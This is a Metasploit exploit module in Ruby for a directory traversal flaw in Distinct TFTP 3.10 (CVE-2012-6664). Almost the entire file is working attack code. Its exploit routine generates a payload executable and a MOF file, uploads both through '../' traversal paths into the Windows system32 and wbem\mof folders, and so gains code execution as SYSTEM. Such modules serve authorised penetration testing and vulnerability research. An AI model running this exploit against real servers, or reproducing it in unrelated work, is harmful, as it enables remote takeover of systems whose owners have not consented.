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105 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Rex::Proto::TFTP
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info={})
super(update_info(info,
'Name' => "Distinct TFTP 3.10 Writable Directory Traversal Execution",
'Description' => %q{
This module exploits a vulnerability found in Distinct TFTP server. The
software contains a directory traversal vulnerability that allows a remote
attacker to write arbitrary file to the file system, which results in
code execution under the context of 'SYSTEM'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be', #Initial discovery, PoC (Tom Gregory)
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '80984'],
['EDB', '18718'],
['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'],
['CVE', '2012-6664']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
[
['Distinct TFTP 3.10 on Windows', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 8 2012",
'DefaultTarget' => 0))
register_options([
OptInt.new('DEPTH', [false, "Levels to reach base directory",10]),
OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
], self.class)
end
def upload(filename, data)
tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => "0.0.0.0",
"LocalPort" => 1025 + rand(0xffff-1025),
"PeerHost" => datastore['RHOST'],
"PeerPort" => datastore['RPORT'],
"LocalFile" => "DATA:#{data}",
"RemoteFile" => filename,
"Mode" => "octet",
"Context" => {'Msf' => self.framework, "MsfExploit" => self },
"Action" => :upload
)
ret = tftp_client.send_write_request { |msg| print_status(msg) }
while not tftp_client.complete
select(nil, nil, nil, 1)
tftp_client.stop
end
end
def exploit
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
# Setup the necessary files to do the wbemexec trick
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
exe = generate_payload_exe
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)
# Configure how deep we want to traverse
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "../" * depth
# Upload the malicious executable to C:\Windows\System32\
print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
# Let the TFTP server idle a bit before sending another file
select(nil, nil, nil, 1)
# Upload the mof file
print_status("#{peer} - Uploading .mof...")
upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
end
end
|
